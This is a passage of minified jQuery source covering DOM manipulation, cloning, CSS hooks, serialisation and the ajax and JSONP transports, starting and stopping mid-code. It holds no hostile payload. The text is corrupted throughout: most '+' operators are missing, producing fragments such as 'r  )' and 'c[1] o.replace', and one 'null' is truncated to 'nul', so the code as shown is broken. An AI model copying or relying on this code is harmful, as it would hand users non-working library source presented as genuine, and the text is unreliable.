e=null==e?!1:e,t=null==t?e:t,this.map(function(){return x.clone(this,e,t)})},html:function(e){return x.access(this,function(e){var n=this[0]||{},r=0,i=this.length;if(e===t){return 1===n.nodeType?n.innerHTML.replace(gt,""):t}if(!("string"!=typeof e||Tt.test(e)||!x.support.htmlSerialize&&mt.test(e)||!x.support.leadingWhitespace&&yt.test(e)||At[(bt.exec(e)||["",""])[1].toLowerCase()])){e=e.replace(vt,"<$1></$2>");try{for(;i>r;r  ){n=this[r]||{},1===n.nodeType&&(x.cleanData(Ft(n,!1)),n.innerHTML=e)}n=0}catch(o){}}n&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=x.map(this,function(e){return[e.nextSibling,e.parentNode]}),t=0;return this.domManip(arguments,function(n){var r=e[t  ],i=e[t  ];i&&(r&&r.parentNode!==i&&(r=this.nextSibling),x(this).remove(),i.insertBefore(n,r))},!0),t?this:this.remove()},detach:function(e){return this.remove(e,!0)},domManip:function(e,t,n){e=d.apply([],e);var r,i,o,a,s,l,u=0,c=this.length,p=this,f=c-1,h=e[0],g=x.isFunction(h);if(g||!(1>=c||"string"!=typeof h||x.support.checkClone)&&Nt.test(h)){return this.each(function(r){var i=p.eq(r);g&&(e[0]=h.call(this,r,i.html())),i.domManip(e,t,n)})}if(c&&(l=x.buildFragment(e,this[0].ownerDocument,!1,!n&&this),r=l.firstChild,1===l.childNodes.length&&(l=r),r)){for(a=x.map(Ft(l,"script"),Ht),o=a.length;c>u;u  ){i=l,u!==f&&(i=x.clone(i,!0,!0),o&&x.merge(a,Ft(i,"script"))),t.call(this[u],i,u)}if(o){for(s=a[a.length-1].ownerDocument,x.map(a,qt),u=0;o>u;u  ){i=a[u],kt.test(i.type||"")&&!x._data(i,"globalEval")&&x.contains(s,i)&&(i.src?x._evalUrl(i.src):x.globalEval((i.text||i.textContent||i.innerHTML||"").replace(St,"")))}}l=r=null}return this}});function Lt(e,t){return x.nodeName(e,"table")&&x.nodeName(1===t.nodeType?t:t.firstChild,"tr")?e.getElementsByTagName("tbody")[0]||e.appendChild(e.ownerDocument.createElement("tbody")):e}function Ht(e){return e.type=(null!==x.find.attr(e,"type")) "/" e.type,e}function qt(e){var t=Et.exec(e.type);return t?e.type=t[1]:e.removeAttribute("type"),e}function _t(e,t){var n,r=0;for(;null!=(n=e[r]);r  ){x._data(n,"globalEval",!t||x._data(t[r],"globalEval"))}}function Mt(e,t){if(1===t.nodeType&&x.hasData(e)){var n,r,i,o=x._data(e),a=x._data(t,o),s=o.events;if(s){delete a.handle,a.events={};for(n in s){for(r=0,i=s[n].length;i>r;r  ){x.event.add(t,n,s[n][r])}}}a.data&&(a.data=x.extend({},a.data))}}function Ot(e,t){var n,r,i;if(1===t.nodeType){if(n=t.nodeName.toLowerCase(),!x.support.noCloneEvent&&t[x.expando]){i=x._data(t);for(r in i.events){x.removeEvent(t,r,i.handle)}t.removeAttribute(x.expando)}"script"===n&&t.text!==e.text?(Ht(t).text=e.text,qt(t)):"object"===n?(t.parentNode&&(t.outerHTML=e.outerHTML),x.support.html5Clone&&e.innerHTML&&!x.trim(t.innerHTML)&&(t.innerHTML=e.innerHTML)):"input"===n&&Ct.test(e.type)?(t.defaultChecked=t.checked=e.checked,t.value!==e.value&&(t.value=e.value)):"option"===n?t.defaultSelected=t.selected=e.defaultSelected:("input"===n||"textarea"===n)&&(t.defaultValue=e.defaultValue)}}x.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){x.fn[e]=function(e){var n,r=0,i=[],o=x(e),a=o.length-1;for(;a>=r;r  ){n=r===a?this:this.clone(!0),x(o[r])[t](n),h.apply(i,n.get())}return this.pushStack(i)}});function Ft(e,n){var r,o,a=0,s=typeof e.getElementsByTagName!==i?e.getElementsByTagName(n||"*"):typeof e.querySelectorAll!==i?e.querySelectorAll(n||"*"):t;if(!s){for(s=[],r=e.childNodes||e;null!=(o=r[a]);a  ){!n||x.nodeName(o,n)?s.push(o):x.merge(s,Ft(o,n))}}return n===t||n&&x.nodeName(e,n)?x.merge([e],s):s}function Bt(e){Ct.test(e.type)&&(e.defaultChecked=e.checked)}x.extend({clone:function(e,t,n){var r,i,o,a,s,l=x.contains(e.ownerDocument,e);if(x.support.html5Clone||x.isXMLDoc(e)||!mt.test("<" e.nodeName ">")?o=e.cloneNode(!0):(Dt.innerHTML=e.outerHTML,Dt.removeChild(o=Dt.firstChild)),!(x.support.noCloneEvent&&x.support.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||x.isXMLDoc(e))){for(r=Ft(o),s=Ft(e),a=0;null!=(i=s[a]);  a){r[a]&&Ot(i,r[a])}}if(t){if(n){for(s=s||Ft(e),r=r||Ft(o),a=0;null!=(i=s[a]);a  ){Mt(i,r[a])}}else{Mt(e,o)}}return r=Ft(o,"script"),r.length>0&&_t(r,!l&&Ft(e,"script")),r=s=i=null,o},buildFragment:function(e,t,n,r){var i,o,a,s,l,u,c,p=e.length,f=dt(t),d=[],h=0;for(;p>h;h  ){if(o=e[h],o||0===o){if("object"===x.type(o)){x.merge(d,o.nodeType?[o]:o)}else{if(wt.test(o)){s=s||f.appendChild(t.createElement("div")),l=(bt.exec(o)||["",""])[1].toLowerCase(),c=At[l]||At._default,s.innerHTML=c[1] o.replace(vt,"<$1></$2>") c[2],i=c[0];while(i--){s=s.lastChild}if(!x.support.leadingWhitespace&&yt.test(o)&&d.push(t.createTextNode(yt.exec(o)[0])),!x.support.tbody){o="table"!==l||xt.test(o)?"<table>"!==c[1]||xt.test(o)?0:s:s.firstChild,i=o&&o.childNodes.length;while(i--){x.nodeName(u=o.childNodes[i],"tbody")&&!u.childNodes.length&&o.removeChild(u)}}x.merge(d,s.childNodes),s.textContent="";while(s.firstChild){s.removeChild(s.firstChild)}s=f.lastChild}else{d.push(t.createTextNode(o))}}}}s&&f.removeChild(s),x.support.appendChecked||x.grep(Ft(d,"input"),Bt),h=0;while(o=d[h  ]){if((!r||-1===x.inArray(o,r))&&(a=x.contains(o.ownerDocument,o),s=Ft(f.appendChild(o),"script"),a&&_t(s),n)){i=0;while(o=s[i  ]){kt.test(o.type||"")&&n.push(o)}}}return s=null,f},cleanData:function(e,t){var n,r,o,a,s=0,l=x.expando,u=x.cache,c=x.support.deleteExpando,f=x.event.special;for(;null!=(n=e[s]);s  ){if((t||x.acceptData(n))&&(o=n[l],a=o&&u[o])){if(a.events){for(r in a.events){f[r]?x.event.remove(n,r):x.removeEvent(n,r,a.handle)}}u[o]&&(delete u[o],c?delete n[l]:typeof n.removeAttribute!==i?n.removeAttribute(l):n[l]=nul,p.push(o))}}},_evalUrl:function(e){return x.ajax({url:e,type:"GET",dataType:"script",async:!1,global:!1,"throws":!0})}}),x.fn.extend({wrapAll:function(e){if(x.isFunction(e)){return this.each(function(t){x(this).wrapAll(e.call(this,t))})}if(this[0]){var t=x(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstChild&&1===e.firstChild.nodeType){e=e.firstChild}return e}).append(this)}return this},wrapInner:function(e){return x.isFunction(e)?this.each(function(t){x(this).wrapInner(e.call(this,t))}):this.each(function(){var t=x(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=x.isFunction(e);return this.each(function(n){x(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){x.nodeName(this,"body")||x(this).replaceWith(this.childNodes)}).end()}});var Pt,Rt,Wt,$t=/alpha\([^)]*\)/i,It=/opacity\s*=\s*([^)]*)/,zt=/^(top|right|bottom|left)$/,Xt=/^(none|table(?!-c[ea]). )/,Ut=/^margin/,Vt=RegExp("^(" w ")(.*)$","i"),Yt=RegExp("^(" w ")(?!px)[a-z%] $","i"),Jt=RegExp("^([ -])=(" w ")","i"),Gt={BODY:"block"},Qt={position:"absolute",visibility:"hidden",display:"block"},Kt={letterSpacing:0,fontWeight:400},Zt=["Top","Right","Bottom","Left"],en=["Webkit","O","Moz","ms"];function tn(e,t){if(t in e){return t}var n=t.charAt(0).toUpperCase() t.slice(1),r=t,i=en.length;while(i--){if(t=en[i] n,t in e){return t}}return r}function nn(e,t){return e=t||e,"none"===x.css(e,"display")||!x.contains(e.ownerDocument,e)}function rn(e,t){var n,r,i,o=[],a=0,s=e.length;for(;s>a;a  ){r=e[a],r.style&&(o[a]=x._data(r,"olddisplay"),n=r.style.display,t?(o[a]||"none"!==n||(r.style.display=""),""===r.style.display&&nn(r)&&(o[a]=x._data(r,"olddisplay",ln(r.nodeName)))):o[a]||(i=nn(r),(n&&"none"!==n||!i)&&x._data(r,"olddisplay",i?n:x.css(r,"display"))))}for(a=0;s>a;a  ){r=e[a],r.style&&(t&&"none"!==r.style.display&&""!==r.style.display||(r.style.display=t?o[a]||"":"none"))}return e}x.fn.extend({css:function(e,n){return x.access(this,function(e,n,r){var i,o,a={},s=0;if(x.isArray(n)){for(o=Rt(e),i=n.length;i>s;s  ){a[n[s]]=x.css(e,n[s],!1,o)}return a}return r!==t?x.style(e,n,r):x.css(e,n)},e,n,arguments.length>1)},show:function(){return rn(this,!0)},hide:function(){return rn(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){nn(this)?x(this).show():x(this).hide()})}}),x.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Wt(e,"opacity");return""===n?"1":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":x.support.cssFloat?"cssFloat":"styleFloat"},style:function(e,n,r,i){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var o,a,s,l=x.camelCase(n),u=e.style;if(n=x.cssProps[l]||(x.cssProps[l]=tn(u,l)),s=x.cssHooks[n]||x.cssHooks[l],r===t){return s&&"get" in s&&(o=s.get(e,!1,i))!==t?o:u[n]}if(a=typeof r,"string"===a&&(o=Jt.exec(r))&&(r=(o[1] 1)*o[2] parseFloat(x.css(e,n)),a="number"),!(null==r||"number"===a&&isNaN(r)||("number"!==a||x.cssNumber[l]||(r ="px"),x.support.clearCloneStyle||""!==r||0!==n.indexOf("background")||(u[n]="inherit"),s&&"set" in s&&(r=s.set(e,r,i))===t))){try{u[n]=r}catch(c){}}}},css:function(e,n,r,i){var o,a,s,l=x.camelCase(n);return n=x.cssProps[l]||(x.cssProps[l]=tn(e.style,l)),s=x.cssHooks[n]||x.cssHooks[l],s&&"get" in s&&(a=s.get(e,!0,r)),a===t&&(a=Wt(e,n,i)),"normal"===a&&n in Kt&&(a=Kt[n]),""===r||r?(o=parseFloat(a),r===!0||x.isNumeric(o)?o||0:a):a}}),e.getComputedStyle?(Rt=function(t){return e.getComputedStyle(t,null)},Wt=function(e,n,r){var i,o,a,s=r||Rt(e),l=s?s.getPropertyValue(n)||s[n]:t,u=e.style;return s&&(""!==l||x.contains(e.ownerDocument,e)||(l=x.style(e,n)),Yt.test(l)&&Ut.test(n)&&(i=u.width,o=u.minWidth,a=u.maxWidth,u.minWidth=u.maxWidth=u.width=l,l=s.width,u.width=i,u.minWidth=o,u.maxWidth=a)),l}):a.documentElement.currentStyle&&(Rt=function(e){return e.currentStyle},Wt=function(e,n,r){var i,o,a,s=r||Rt(e),l=s?s[n]:t,u=e.style;return null==l&&u&&u[n]&&(l=u[n]),Yt.test(l)&&!zt.test(n)&&(i=u.left,o=e.runtimeStyle,a=o&&o.left,a&&(o.left=e.currentStyle.left),u.left="fontSize"===n?"1em":l,l=u.pixelLeft "px",u.left=i,a&&(o.left=a)),""===l?"auto":l});function on(e,t,n){var r=Vt.exec(t);return r?Math.max(0,r[1]-(n||0)) (r[2]||"px"):t}function an(e,t,n,r,i){var o=n===(r?"border":"content")?4:"width"===t?1:0,a=0;for(;4>o;o =2){"margin"===n&&(a =x.css(e,n Zt[o],!0,i)),r?("content"===n&&(a-=x.css(e,"padding" Zt[o],!0,i)),"margin"!==n&&(a-=x.css(e,"border" Zt[o] "Width",!0,i))):(a =x.css(e,"padding" Zt[o],!0,i),"padding"!==n&&(a =x.css(e,"border" Zt[o] "Width",!0,i)))}return a}function sn(e,t,n){var r=!0,i="width"===t?e.offsetWidth:e.offsetHeight,o=Rt(e),a=x.support.boxSizing&&"border-box"===x.css(e,"boxSizing",!1,o);if(0>=i||null==i){if(i=Wt(e,t,o),(0>i||null==i)&&(i=e.style[t]),Yt.test(i)){return i}r=a&&(x.support.boxSizingReliable||i===e.style[t]),i=parseFloat(i)||0}return i an(e,t,n||(a?"border":"content"),r,o) "px"}function ln(e){var t=a,n=Gt[e];return n||(n=un(e,t),"none"!==n&&n||(Pt=(Pt||x("<iframe frameborder='0' width='0' height='0'/>").css("cssText","display:block !important")).appendTo(t.documentElement),t=(Pt[0].contentWindow||Pt[0].contentDocument).document,t.write("<!doctype html><html><body>"),t.close(),n=un(e,t),Pt.detach()),Gt[e]=n),n}function un(e,t){var n=x(t.createElement(e)).appendTo(t.body),r=x.css(n[0],"display");return n.remove(),r}x.each(["height","width"],function(e,n){x.cssHooks[n]={get:function(e,r,i){return r?0===e.offsetWidth&&Xt.test(x.css(e,"display"))?x.swap(e,Qt,function(){return sn(e,n,i)}):sn(e,n,i):t},set:function(e,t,r){var i=r&&Rt(e);return on(e,t,r?an(e,n,r,x.support.boxSizing&&"border-box"===x.css(e,"boxSizing",!1,i),i):0)}}}),x.support.opacity||(x.cssHooks.opacity={get:function(e,t){return It.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?0.01*parseFloat(RegExp.$1) "":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=x.isNumeric(t)?"alpha(opacity=" 100*t ")":"",o=r&&r.filter||n.filter||"";n.zoom=1,(t>=1||""===t)&&""===x.trim(o.replace($t,""))&&n.removeAttribute&&(n.removeAttribute("filter"),""===t||r&&!r.filter)||(n.filter=$t.test(o)?o.replace($t,i):o " " i)}}),x(function(){x.support.reliableMarginRight||(x.cssHooks.marginRight={get:function(e,n){return n?x.swap(e,{display:"inline-block"},Wt,[e,"marginRight"]):t}}),!x.support.pixelPosition&&x.fn.position&&x.each(["top","left"],function(e,n){x.cssHooks[n]={get:function(e,r){return r?(r=Wt(e,n),Yt.test(r)?x(e).position()[n] "px":r):t}}})}),x.expr&&x.expr.filters&&(x.expr.filters.hidden=function(e){return 0>=e.offsetWidth&&0>=e.offsetHeight||!x.support.reliableHiddenOffsets&&"none"===(e.style&&e.style.display||x.css(e,"display"))},x.expr.filters.visible=function(e){return !x.expr.filters.hidden(e)}),x.each({margin:"",padding:"",border:"Width"},function(e,t){x.cssHooks[e t]={expand:function(n){var r=0,i={},o="string"==typeof n?n.split(" "):[n];for(;4>r;r  ){i[e Zt[r] t]=o[r]||o[r-2]||o[0]}return i}},Ut.test(e)||(x.cssHooks[e t].set=on)});var cn=/ /g,pn=/\[\]$/,fn=/\r?\n/g,dn=/^(?:submit|button|image|reset|file)$/i,hn=/^(?:input|select|textarea|keygen)/i;x.fn.extend({serialize:function(){return x.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=x.prop(this,"elements");return e?x.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!x(this).is(":disabled")&&hn.test(this.nodeName)&&!dn.test(e)&&(this.checked||!Ct.test(e))}).map(function(e,t){var n=x(this).val();return null==n?null:x.isArray(n)?x.map(n,function(e){return{name:t.name,value:e.replace(fn,"\r\n")}}):{name:t.name,value:n.replace(fn,"\r\n")}}).get()}}),x.param=function(e,n){var r,i=[],o=function(e,t){t=x.isFunction(t)?t():null==t?"":t,i[i.length]=encodeURIComponent(e) "=" encodeURIComponent(t)};if(n===t&&(n=x.ajaxSettings&&x.ajaxSettings.traditional),x.isArray(e)||e.jquery&&!x.isPlainObject(e)){x.each(e,function(){o(this.name,this.value)})}else{for(r in e){gn(r,e[r],n,o)}}return i.join("&").replace(cn," ")};function gn(e,t,n,r){var i;if(x.isArray(t)){x.each(t,function(t,i){n||pn.test(e)?r(e,i):gn(e "[" ("object"==typeof i?t:"") "]",i,n,r)})}else{if(n||"object"!==x.type(t)){r(e,t)}else{for(i in t){gn(e "[" i "]",t[i],n,r)}}}}x.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(e,t){x.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),x.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)},bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}});var mn,yn,vn=x.now(),bn=/\?/,xn=/#.*$/,wn=/([?&])_=[^&]*/,Tn=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Cn=/^(?:about|app|app-storage|. -extension|file|res|widget):$/,Nn=/^(?:GET|HEAD)$/,kn=/^\/\//,En=/^([\w. -] :)(?:\/\/([^\/?#:]*)(?::(\d )|)|)/,Sn=x.fn.load,An={},jn={},Dn="*/".concat("*");try{yn=o.href}catch(Ln){yn=a.createElement("a"),yn.href="",yn=yn.href}mn=En.exec(yn.toLowerCase())||[];function Hn(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(T)||[];if(x.isFunction(n)){while(r=o[i  ]){" "===r[0]?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}}}function qn(e,n,r,i){var o={},a=e===jn;function s(l){var u;return o[l]=!0,x.each(e[l]||[],function(e,l){var c=l(n,r,i);return"string"!=typeof c||a||o[c]?a?!(u=c):t:(n.dataTypes.unshift(c),s(c),!1)}),u}return s(n.dataTypes[0])||!o["*"]&&s("*")}function _n(e,n){var r,i,o=x.ajaxSettings.flatOptions||{};for(i in n){n[i]!==t&&((o[i]?e:r||(r={}))[i]=n[i])}return r&&x.extend(!0,e,r),e}x.fn.load=function(e,n,r){if("string"!=typeof e&&Sn){return Sn.apply(this,arguments)}var i,o,a,s=this,l=e.indexOf(" ");return l>=0&&(i=e.slice(l,e.length),e=e.slice(0,l)),x.isFunction(n)?(r=n,n=t):n&&"object"==typeof n&&(a="POST"),s.length>0&&x.ajax({url:e,type:a,dataType:"html",data:n}).done(function(e){o=arguments,s.html(i?x("<div>").append(x.parseHTML(e)).find(i):e)}).complete(r&&function(e,t){s.each(r,o||[e.responseText,t,e])}),this},x.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){x.fn[t]=function(e){return this.on(t,e)}}),x.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:yn,type:"GET",isLocal:Cn.test(mn[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Dn,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":x.parseJSON,"text xml":x.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?_n(_n(e,x.ajaxSettings),t):_n(x.ajaxSettings,e)},ajaxPrefilter:Hn(An),ajaxTransport:Hn(jn),ajax:function(e,n){"object"==typeof e&&(n=e,e=t),n=n||{};var r,i,o,a,s,l,u,c,p=x.ajaxSetup({},n),f=p.context||p,d=p.context&&(f.nodeType||f.jquery)?x(f):x.event,h=x.Deferred(),g=x.Callbacks("once memory"),m=p.statusCode||{},y={},v={},b=0,w="canceled",C={readyState:0,getResponseHeader:function(e){var t;if(2===b){if(!c){c={};while(t=Tn.exec(a)){c[t[1].toLowerCase()]=t[2]}}t=c[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return 2===b?a:null},setRequestHeader:function(e,t){var n=e.toLowerCase();return b||(e=v[n]=v[n]||e,y[e]=t),this},overrideMimeType:function(e){return b||(p.mimeType=e),this},statusCode:function(e){var t;if(e){if(2>b){for(t in e){m[t]=[m[t],e[t]]}}else{C.always(e[C.status])}}return this},abort:function(e){var t=e||w;return u&&u.abort(t),k(0,t),this}};if(h.promise(C).complete=g.add,C.success=C.done,C.error=C.fail,p.url=((e||p.url||yn) "").replace(xn,"").replace(kn,mn[1] "//"),p.type=n.method||n.type||p.method||p.type,p.dataTypes=x.trim(p.dataType||"*").toLowerCase().match(T)||[""],null==p.crossDomain&&(r=En.exec(p.url.toLowerCase()),p.crossDomain=!(!r||r[1]===mn[1]&&r[2]===mn[2]&&(r[3]||("http:"===r[1]?"80":"443"))===(mn[3]||("http:"===mn[1]?"80":"443")))),p.data&&p.processData&&"string"!=typeof p.data&&(p.data=x.param(p.data,p.traditional)),qn(An,p,n,C),2===b){return C}l=p.global,l&&0===x.active  &&x.event.trigger("ajaxStart"),p.type=p.type.toUpperCase(),p.hasContent=!Nn.test(p.type),o=p.url,p.hasContent||(p.data&&(o=p.url =(bn.test(o)?"&":"?") p.data,delete p.data),p.cache===!1&&(p.url=wn.test(o)?o.replace(wn,"$1_=" vn  ):o (bn.test(o)?"&":"?") "_=" vn  )),p.ifModified&&(x.lastModified[o]&&C.setRequestHeader("If-Modified-Since",x.lastModified[o]),x.etag[o]&&C.setRequestHeader("If-None-Match",x.etag[o])),(p.data&&p.hasContent&&p.contentType!==!1||n.contentType)&&C.setRequestHeader("Content-Type",p.contentType),C.setRequestHeader("Accept",p.dataTypes[0]&&p.accepts[p.dataTypes[0]]?p.accepts[p.dataTypes[0]] ("*"!==p.dataTypes[0]?", " Dn "; q=0.01":""):p.accepts["*"]);for(i in p.headers){C.setRequestHeader(i,p.headers[i])}if(p.beforeSend&&(p.beforeSend.call(f,C,p)===!1||2===b)){return C.abort()}w="abort";for(i in {success:1,error:1,complete:1}){C[i](p[i])}if(u=qn(jn,p,n,C)){C.readyState=1,l&&d.trigger("ajaxSend",[C,p]),p.async&&p.timeout>0&&(s=setTimeout(function(){C.abort("timeout")},p.timeout));try{b=1,u.send(y,k)}catch(N){if(!(2>b)){throw N}k(-1,N)}}else{k(-1,"No Transport")}function k(e,n,r,i){var c,y,v,w,T,N=n;2!==b&&(b=2,s&&clearTimeout(s),u=t,a=i||"",C.readyState=e>0?4:0,c=e>=200&&300>e||304===e,r&&(w=Mn(p,C,r)),w=On(p,w,C,c),c?(p.ifModified&&(T=C.getResponseHeader("Last-Modified"),T&&(x.lastModified[o]=T),T=C.getResponseHeader("etag"),T&&(x.etag[o]=T)),204===e||"HEAD"===p.type?N="nocontent":304===e?N="notmodified":(N=w.state,y=w.data,v=w.error,c=!v)):(v=N,(e||!N)&&(N="error",0>e&&(e=0))),C.status=e,C.statusText=(n||N) "",c?h.resolveWith(f,[y,N,C]):h.rejectWith(f,[C,N,v]),C.statusCode(m),m=t,l&&d.trigger(c?"ajaxSuccess":"ajaxError",[C,p,c?y:v]),g.fireWith(f,[C,N]),l&&(d.trigger("ajaxComplete",[C,p]),--x.active||x.event.trigger("ajaxStop")))}return C},getJSON:function(e,t,n){return x.get(e,t,n,"json")},getScript:function(e,n){return x.get(e,t,n,"script")}}),x.each(["get","post"],function(e,n){x[n]=function(e,r,i,o){return x.isFunction(r)&&(o=o||i,i=r,r=t),x.ajax({url:e,type:n,dataType:o,data:r,success:i})}});function Mn(e,n,r){var i,o,a,s,l=e.contents,u=e.dataTypes;while("*"===u[0]){u.shift(),o===t&&(o=e.mimeType||n.getResponseHeader("Content-Type"))}if(o){for(s in l){if(l[s]&&l[s].test(o)){u.unshift(s);break}}}if(u[0] in r){a=u[0]}else{for(s in r){if(!u[0]||e.converters[s " " u[0]]){a=s;break}i||(i=s)}a=a||i}return a?(a!==u[0]&&u.unshift(a),r[a]):t}function On(e,t,n,r){var i,o,a,s,l,u={},c=e.dataTypes.slice();if(c[1]){for(a in e.converters){u[a.toLowerCase()]=e.converters[a]}}o=c.shift();while(o){if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!l&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),l=o,o=c.shift()){if("*"===o){o=l}else{if("*"!==l&&l!==o){if(a=u[l " " o]||u["* " o],!a){for(i in u){if(s=i.split(" "),s[1]===o&&(a=u[l " " s[0]]||u["* " s[0]])){a===!0?a=u[i]:u[i]!==!0&&(o=s[0],c.unshift(s[1]));break}}}if(a!==!0){if(a&&e["throws"]){t=a(t)}else{try{t=a(t)}catch(p){return{state:"parsererror",error:a?p:"No conversion from " l " to " o}}}}}}}}return{state:"success",data:t}}x.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/(?:java|ecma)script/},converters:{"text script":function(e){return x.globalEval(e),e}}}),x.ajaxPrefilter("script",function(e){e.cache===t&&(e.cache=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),x.ajaxTransport("script",function(e){if(e.crossDomain){var n,r=a.head||x("head")[0]||a.documentElement;return{send:function(t,i){n=a.createElement("script"),n.async=!0,e.scriptCharset&&(n.charset=e.scriptCharset),n.src=e.url,n.onload=n.onreadystatechange=function(e,t){(t||!n.readyState||/loaded|complete/.test(n.readyState))&&(n.onload=n.onreadystatechange=null,n.parentNode&&n.parentNode.removeChild(n),n=null,t||i(200,"success"))},r.insertBefore(n,r.firstChild)},abort:function(){n&&n.onload(t,!0)}}}});var Fn=[],Bn=/(=)\?(?=&|$)|\?\?/;x.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Fn.pop()||x.expando "_" vn  ;return this[e]=!0,e}}),x.ajaxPrefilter("json jsonp",function(n,r,i){var o,a,s,l=n.jsonp!==!1&&(Bn.test(n.url)?"url":"string"==typeof n.data&&!(n.contentType||"").indexOf("application/x-www-form-urlencoded")&&Bn.test(n.data)&&"data");return l||"jsonp"===n.dataTypes[0]?(o=n.jsonpCallback=x.isFunction(n.jsonpCallback)?n.jsonpCallback():n.jsonpCallback,l?n[l]=n[l].replace(Bn,"$1" o):n.jsonp!==!1&&(n.url =(bn.test(n.url)?"&":"?") n.jsonp "=" o),n.converters["script json"]=function(){return s||x.error(o " was not called"),s[0]},n.dataTypes[0]="json",a=e[o],e[o]=function(){s=arguments},i.always(function(){e[o]=a,n[o]&&(n.jsonpCallback=r.jsonpCallback,Fn.push(o)),s&&x.isFunction(a)&&a(s[0]),s=a=t}),"script"):t});var Pn,Rn,Wn=0,$n=e.ActiveXObject&&function(){var e;for(e in Pn){Pn[e](t,!0)}};function In(){try{return new e.XMLHttpRequest}catch(t){}}function zn(){try{return new e.ActiveXObject("Microsoft.XMLHTTP")}catch(t){}}x.ajaxSettings.xhr=e.ActiveXObject?function(){return !this.isLocal&&In()||zn()}:In,Rn=x.ajaxSettings.xhr(),x.support.cors=!!Rn&&"withCredentials" in Rn,Rn=x.support.ajax=!!Rn,Rn&&x.ajaxTransport(function(n){if(!n.crossDomain||x.support.cors){var r;return{send:function(i,o){var a,s,l=n.xhr();if(n.username?l.open(n.type,n.url,n.async,n.username,n.password):l.open(n.type,n.url,n.async),n.xhrFields){for(s in n.xhrFields){l[s]=n.xhrFields[s]}}n.mimeType&&l.overrideMimeType&&l.overrideMimeType(n.mimeType),n.crossDomain||i["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest");try{for(s in i){l.setRequestHeader(s,i[s])}}catch(u){}l.send(n.hasContent&&n.data||null),r=function(e,i){var s,u,c,p;try{if(r&&(i||4===l.readyState)){if(r=t,a&&(l.onreadystatechange=x.noop,$n&&delete Pn[a]),i){4!==l.readyState&&l.abort()}else{p={},s=l.status,u=l.getAllResponseHeaders(),"string"==typeof l.responseText&&(p.text=l.responseText);try{c=l.statusText}catch(f){c=""}s||!n.isLocal||n.crossDomain?1223===s&&(s=204):s=p.text?200:404}}}catch(d){i||o(-1,d)}p&&o(s,c,p,u)},n.async?4===l.readyState?setTimeout(r):(a=  Wn,$n&&(Pn||(Pn={},x(e).unload($n)),Pn[a]=r),l.onreadystatechange=r):r()},abort:function(){r&&r(t,!0)}}}});var Xn,Un,Vn=/^(?:toggle|show|hide)$/,Yn=RegExp("^(?:([ -])=|)(" w ")([a-z%]*)$","i"),Jn=/queueHooks$/,Gn=[nr],Qn={"*":[function(e,t){var n=this.createTween(e,t),r=n.cur(),i=Yn.exec(t),o=i&&i[3]||(x.cssNumber[e]?"":"px"),a=(x.cssNumber[e]||"px"!==o&& r)&&Yn.exec(x.css(n.elem,e)),s=1,l=20;if(a&&a[3]!==o){o=o||a[3],i=i||[],a= r||1;do{s=s||".5",a/=s,x.style(n.elem,e,a o)}while(s!==(s=n.cur()/r)&&1!==s&&--l)}return i&&(a=n.start= a|| r||0,n.unit=o,n.end=i[1]?a (i[1] 1)*i[2]: i[2]),n}]};function Kn(){return setTimeout(function(){Xn=t}),Xn=x.now()}function Zn(e,t,n){var r,i=(Qn[t]||[]).concat(Qn["*"]),o=0,a=i.length;for(;a>o;o  ){if(r=i[o].call(n,t,e)){return r}}}function er(e,t,n){var r,i,o=0,a=Gn.length,s=x.Deferred().always(function(){delete l.elem}),l=function(){if(i){return !1}var t=Xn||Kn(),n=Math.max(0,u.startTime u.duration-t),r=n/u.duration||0,o=1-r,a=0,l=u.tweens.length;for(;l>a;a  ){u.tweens[a].run(o)}return 